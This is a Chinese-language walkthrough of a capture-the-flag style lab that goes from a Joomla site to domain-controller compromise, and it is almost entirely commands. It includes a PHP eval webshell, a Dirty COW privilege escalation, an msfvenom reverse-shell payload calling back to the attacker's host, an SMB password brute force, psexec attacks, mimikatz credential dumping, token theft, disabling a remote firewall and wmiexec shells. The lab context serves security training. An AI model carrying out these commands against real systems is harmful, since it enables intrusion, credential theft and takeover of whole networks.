文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
一,环境搭建
- 红日靶场:漏洞详情
- 本次靶场渗透主要是Joomla CMS漏洞的综合渗透练习,通过信息收集、漏洞利用、权限提升、以及域渗透。
黑盒测试--
出网IP 192.168.93.0/24
出网主机为centos nat网卡+VMnat2网卡
centos靶机开启后:
设置为nat模式并且重启网卡
service network restart
IP详情:
kali+CS+MSF
192.168.43.33
web-centos
192.168.93.100
192.168.43.118
web1-ubuntu
192.168.93.120
PC-win7
192.168.93.30
win 2k8
192.168.93.20
win 2012
192.168.93.10
靶场拓补图如下:
centos靶机开启后:
设置为nat模式并且重启网卡
service network restart
二,外网渗透
信息收集
主机发现
nmap -sP -T4 192.168.43.0/24
端口扫描
nmap -F -T4 -sS -sV -v 192.168.43.21
nmap -A -p- -min-rate 8888 192.168.43.21
目录扫描
dirsearch -u http://192.168.43.21:80
指纹识别
whatweb -v http://192.168.43.21
#CMS:joomla
漏洞利用
searchsploit joomla 3.9.12
searchsploit -m 43488.txt
cat 43488.txt
#CVE-2018-5263 -->XSS
#shellcode并没有,百度一波,也无复现博客,换个姿势继续
web界面
###web界面###
访问80端口--->类似一个博客网站
#由于CMS框架是Joomla,直接使用joomscan
Joomscan
joomscan -u http://192.168.43.21/
版本:Joomla 3.9.12
连接数据库
#访问Joomscan敏感目录,得到数据库账密
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
#直接使用navicat连接数据库
连接数据库
数据库信息收集
#转了一圈,就发现几个有用的表
#用户admin的密码,做了加盐处理。解密失败
#换个姿势继续,尝试添加管理员账密
一看就加盐了,解密失败
添加管理员账密
#添加账密admin2:secret
#执行SQL语句
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
#可以看出,账户admin2添加成功
根据官方提示步骤,添加管理员账密
登录joomscan后台
#192.168.93.21/administrator/index.php
上传小马
#直接写个一句话木马,为后渗透做准备
<?php eval(@$_POST['a']);phpinfo(); ?>
写入木马
蚁剑连接小马
URL:http://192.168.93.21/templates/beez3/web.php
蚁剑插件绕过命令执行
#由于蚁剑终端命令执行做了限制
#利用蚁剑插件进行绕过 --绕过disable_fuctions
#蚁剑连接新生成的木马URL
URL:http://192.168.43.21/templates/beez3/.antproxy.php
提示ret=127,做了限制
suid提权
#并无可用提权姿势,换个方式继续
利用蚁剑信息收集
/tmp/mysql/tset.txt
#应该是ssh账密
adduser wwwuser
passwd wwwuser_123Aqx
xshell连接wwwuser
#继续传马
#显然运行失败
#/tmp下存在passwd.bak文件
利用无果
查看passwd,没啥可用的
脏牛提权
#利用脏牛之前先查看Linux内核版本信息:
unmae -a
#版本号较低
#2.6.32-431------inux ubuntu 4.4.0-142-generic
#版本号大于2.6.32
EXP利用-CVE-2016-5195
git clone https://github.com/gbonacini/CVE-2016-5195.git
#这个EXP在靶机上跑不起来,需要sudo进行编译
#在kali本机编译后再上传,脚本是跑不起来的
运行失败
EXP利用-dirtycow
#换个EXP,继续打
git clone https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
rm /tmp/passwd.bak
./dirty 123456
#虽然运行莫名终止,但最终可以提权
su firefart
id
Xshell连接firefart
#为了方便后续操作,直接新建会话
firefart:123456
MSF上线
#由于这台机器是Linux,生成elf大马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.33 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf
#开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.43.33
set lport 6666
run
#利用xftp上传大马到靶机
#赋予大马权限
chmod 777 shell.elf
#运行
./shell.elf
至此,拿下了外网这台机器
内网渗透
添加路由
#查看路由
run get_local_subnets
#添加路由
run autoroute -s 192.168.93.0/24
run autoroute -p
#挂起
background
添加代理
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 0.0.0.0
set SRVPORT 1888
run
vim /etc/proxychain4.conf
socks4 0.0.0.0 1888
内网主机扫描
#扫描内网主机存活:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 10
run
#扫到了三台机器
192.168.93.30/24 win7
192.168.93.20/24 win2008
192.168.93.10/24 win-8GA56TNV3MV
nmap探测三台主机端口
proxychain nmap -F -sT -v 192.168.93.10
proxychain nmap -F -sT -v 192.168.93.20
proxychain nmap -F -sT -v 192.168.93.30
#10开启389端口 -->可能是域控
#都开启了445端口,尝试爆破管理员账密
尝试爆破三台主机管理员账密
#字典需要足够大
use auxiliary/scanner/smb/smb_login
set SMBuser Administrator
set PASS_FILE /home/kali/Desktop/top999.txt
run
-->192.168.93.20 smb 123qwe!ASD
-->192.168.93.30 smb 123qwe!ASD
#已经拿到了两台win的密码,
#10这台机器出不了,可能就是域控
四,横向渗透
psexec攻击
#利用psexec工具进行攻击192.168.93.30/20主机
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
run
--->20/30机器攻击成功
攻击20这台机器
攻击30这台机器
定位域控
nslookup -type=SRV _ldap._tcp
#域控明显是10这台机器,和之前猜测的一样
minikatz
#利用MSF的kiwi模块
load kiwi
#列出所有凭据
creds_all
#使用kiwi抓取明文密码:
kiwi_cmd sekurlsa::logonpasswords
#win7
可以看出win7这台机器上,信息极少,无用
试试win2k8这台机器
成功拿到域控账密
--->拿到密码:zxcASDqw123!!
尝试psexec攻击域控
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass zxcASDqw123!!
set RHOSTS 192.168.93.10
run
#攻击失败,可能是防火墙的原因
#换个姿势继续
#其它两台主机已经拿下,在win2k8上窃取管理员用户的token令牌
#这样就可以通过win2008 访问域控,然后远程关掉域控的防火墙,psexec攻击继续
窃取域控token令牌
#先利用MSF生成一个正向的木马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.43.33 LPORT=10244 -f exe -o 244.exe
#上传244.exe
upload 244.exe
#运行244.exe
244.exe
#返回msf的shell
exit
#窃取token
use incognito
list_tokens -u
impersonate_token "TEST\Adminitrator"
试试win7这台机器能否成功
显然失败了,因为不存在
关闭域控防火墙
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall
#响应超时,执行失败
#简直有毒
#登上去一看,他喵的这不是关了吗?
psexec继续攻击域控
#显然失败了,可能是防火墙的原因(鬼知道什么原因)也可能是会话连接不稳定
利用wmiexec
#kali中安装wmiexec
https://github.com/coresecurity/impacket/blob/masterexamples/wmiexec.py
#需要先下载impacket工具包,这里面有很多工具
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
cd ./examples
#安装成功后,切换到examples目录下,
#运行如下命令获取目标系统192.168.93.10(域控)的shell
proxychains python3 wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'
#也可以拿到其它机器的shell
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
192.168.93.20
FLAG
#最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt
dir
type flag.txt
Sessions